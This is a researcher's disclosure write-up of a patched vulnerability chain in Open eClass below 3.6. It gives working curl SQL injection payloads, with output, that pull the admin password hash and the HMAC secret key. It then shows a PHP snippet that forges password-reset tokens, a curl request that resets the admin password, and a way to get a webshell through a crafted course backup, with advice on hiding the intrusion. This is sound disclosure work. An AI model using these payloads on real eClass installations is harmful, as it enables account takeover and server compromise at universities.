E-class < 3.6 code execution

7 minute read

I’ve been planning to do this write-up for a while now, but I decided to wait for at least 40 days after reporting this bug before disclosing it, as it concerns the e-class software used by most universities in Greece. The bug reported here has indeed been fixed on the same day that I reported it, so the first part of this shouldn’t be possible anymore. I’m also glad to see my own university’s e-class has been updated to the latest version, which is safe against this.
The e-class software I’m referring to is “open eclass”, which can be found at http://www.openeclass.org. Their Github is gunet/openeclass.

Part 1: SQL injection

This chain of exploits depends on this first exploit to work. This is the one that I created an issue for and that has since been fixed. The rest aren’t that important.
The bug resides in the “attendance” module of e-class. Modules can be enabled or disabled on each class separately, and that is checked on the current class you’re at when you try to access the module. Therefore to take advantage of this bug you’d have to find a class with the attendance module enabled. You can see the relevant issue or the diff of the patch which makes it obvious what the SQL injection was. The issue is issue #14 and the patch is commit fce0882.

The SQL injection entry point is the POST parameter attendance_id which is appended to two different SQL queries without sanitization. At first I thought I would have to write something in attendance_id that would lead into both lines being valid queries while injecting some SQL in one of them, which seemed a bit tricky. Thankfully that was not the case, and simply injecting some code in order for one of them to be valid resulted in me being able to retrieve whatever I want from the database. The other query would simply return null. (:

Below you can see a curl request that retrieves the admin’s password:

$ curl -X POST \
  'http://localhost:8080/modules/attendance/?course=TMA101' \
  -H 'X-Requested-With: xmlhttprequest' \
  -b 'PHPSESSID=12p9fb8lf8fmth3f9nphstesa3' \
  -F assign_type=3 \
  -F 'attendance_id=11 UNION SELECT id FROM user) UNION SELECT lol.username AS id, lol.password AS surname, 3 FROM user lol WHERE lol.id = 1 AND 432235211 NOT IN (SELECT username FROM user'
<p>In file <b>/var/www/example.com/public_html/modules/attendance/index.php</b> on line <b>51</b> : <i>Unable to execute statement:"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') UNION SELECT lol.username AS id, lol.password AS surname, 3 FROM user lol WHER' at line 2", sqlstate:"1064", errornum:"42000", 	statement:"SELECT uid AS id, givenname, surname FROM user, attendance_users                                         WHERE attendance_users.uid = user.id AND attendance_id = 11 UNION SELECT id FROM user) UNION SELECT lol.username AS id, lol.password AS surname, 3 FROM user lol WHERE lol.id = 1 AND 432235211 NOT IN (SELECT username FROM user ORDER BY surname", 	elapsed:1517578226.0001</i></p>[[{"id":"admin","surname":"$2a$08$rSgapF0VucQFwc0WsOmdy.7rybjOkxtsYUoG.zVMqpGM5wr3GCnkq","givenname":"3"}],null]%       

Ouch.

Part 2: Doing something with the SQL injection

The passwords are encrypted, seemingly with bcrypt, which a quick pass through the source code confirms. There’s no easy way to decrypt the admin password. Let’s see what else we can pull from the database.

Another table of interest is the config table. Its fields are key and value and it contains specific tuples, inserted when e-class is installed. Most entries are unremarkable, however one stands out: the key is code_key and the value is 32 bytes, read from /dev/urandom and then base64 encoded. The function that generates the key is called generate_secret_key, so it sounds rather promising. We can easily retrieve its value, as before:

$ curl -X POST \
  'http://localhost:8080/modules/attendance/?course=TMA101' \
  -H 'X-Requested-With: xmlhttprequest' \
  -b 'PHPSESSID=12p9fb8lf8fmth3f9nphstesa3' \
  -F assign_type=3 \
  -F 'attendance_id=1 UNION SELECT id FROM user) UNION SELECT lol.key AS id, lol.value AS surname, 3 FROM config lol WHERE lol.key = "code_key" AND 32235211 NOT IN (SELECT username FROM user'
<p>In file <b>/var/www/example.com/public_html/modules/attendance/index.php</b> on line <b>51</b> : <i>Unable to execute statement:"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') UNION SELECT lol.key AS id, lol.value AS surname, 3 FROM config lol WHERE lol.' at line 2", sqlstate:"1064", errornum:"42000", laterstatement:"SELECT uid AS id, givenname, surname FROM user, attendance_users                                         WHERE attendance_users.uid = user.id AND attendance_id = 1 UNION SELECT id FROM user) UNION SELECT lol.key AS id, lol.value AS surname, 3 FROM config lol WHERE lol.key = "code_key" AND 32235211 NOT IN (SELECT username FROM user ORDER BY surname", laterelapsed:1518182515.0001</i></p>[[{"id":"code_key","surname":"ZTW+TNpoJr2FTViENRRMcLy+kW2sza\/PJyrb542mx1s=","givenname":"3"}],null]%)'")'

Let’s see where this secret key is used.

Part 3: Using the secret key

Besides the points where it’s created, code_key is referenced in two other places in the code: the token_generate method and the corresponding token_validate method. The first one hashes a given string, optionally appending the timestamp, to generate an HMAC with the code_key as the key of the HMAC. The second one takes a message, a token and the number of seconds for which the token is valid if the message also contains a timestamp. It simply hashes the message again to confirm the HMAC is valid and checks if the time passed since the generation of the token is less that the allowed time, returning whether the token is valid.

There are 23 instances throughout the code of using token_generate, most are useless for proceeding further. As I expected though, it is also used to generate the token for resetting a user’s password when they have forgotten it. The call that generates the token is:

            $text .= $urlServer . "modules/auth/lostpass.php?u=$data[res_first_attempt]->id&h=" .
                    token_generate('password' . $data['res_first_attempt']->id, true);

We see that the token is generated with the string ‘password1’ where 1 is the user ID (1 in the case of the admin, the first user), using a timestamp.
We can easily generate the token ourselves with the following PHP snippet:

<?php
function token_generate($info, $need_timestamp = false) {
    if ($need_timestamp) {
        $ts = sprintf('%x-', time());
    } else {
        $ts = '';
    }
    $code_key = 'ZTW+TNpoJr2FTViENRRMcLy+kW2sza\/PJyrb542mx1s=';
    return $ts . hash_hmac('ripemd160', $ts . $info, $code_key);
}

echo(token_generate("password1", true) . "\n");
?>

This way we have a token for resetting the admin’s password. (: Running this script now, I get the hash 5a8438bf-97dc07f1a8f8e15f3dbe52c3e9d4fe12ef86f576.

This is different from clicking on the ‘forgotten password’ link and somehow retrieving the generated token, which is also sent to the admin’s email. This generated token isn’t stored anywhere on the database, which surprised me, as the first table I looked for in the database was a table that would store these tokens. Instead, the generated token is a signed piece of information that says, ‘user x requested a token on this date’. So you can reset a user’s password with such a token if you have the way to generate it, even if you never requested it!

We can request a password change as such:

$ curl -X POST \                                                                                                                                                                   
  'http://localhost:8080/modules/auth/lostpass.php' \      
  -F 'u=1' \                             
  -F 'h=5a8438bf-97dc07f1a8f8e15f3dbe52c3e9d4fe12ef86f576' \                                                                                                                   
  -F 'newpass=admin123' \
  -F 'newpass1=admin123' 

Part 4: Achieving code execution

We can now login with our new credentials! Hopefully the real admin won’t try to also login for a while. :)

The admin panel offers many interesting tools, however none allow you to explicitly execute PHP or SQL or anything of the sort. One of the tools, however, does allow you to upload a backup of a class, including all uploaded documents etc. The backup is essentially a zip archive that includes all files that the class contained, plus a bunch of serialized PHP objects for the class metadata.

It’s pretty straightforward to add some PHP code for a shell, then. We can download a backup for a class, unzip it, change the index.php or add our own PHP file, and use the admin panel to restore the backup. You could even try to do something with the serialized objects, if you were feeling adventurous.

Yay, we now have a shell! You can also read the SQL database credentials now from the appropriate file. One of the first things you could do at this point would be to restore the old (encrypted) admin password which we conveniently retrieved in the first step, so the admin can use the normal credentials to login once again and doesn’t notice anything. Other than that, anything is possible!

Remarks

I was surprised by how secure e-class was overall other than this exploit, which took me some time to find. I had seen an older version of e-class as part of the University security course which was full of security holes, so it was nice to see that almost all of them have been patched as well as the response time once this one was found. There might have been a few other bugs but nothing that could be leveraged like this one, though surely someone with more PHP experience could find something that I didn’t. I’ve been reading the deserialization engine is exploitable but I didn’t notice any points a student can provide a serialized object. Of course, ditching PHP altogether would probably be best, but eh, that’s easy for me to say.

Comments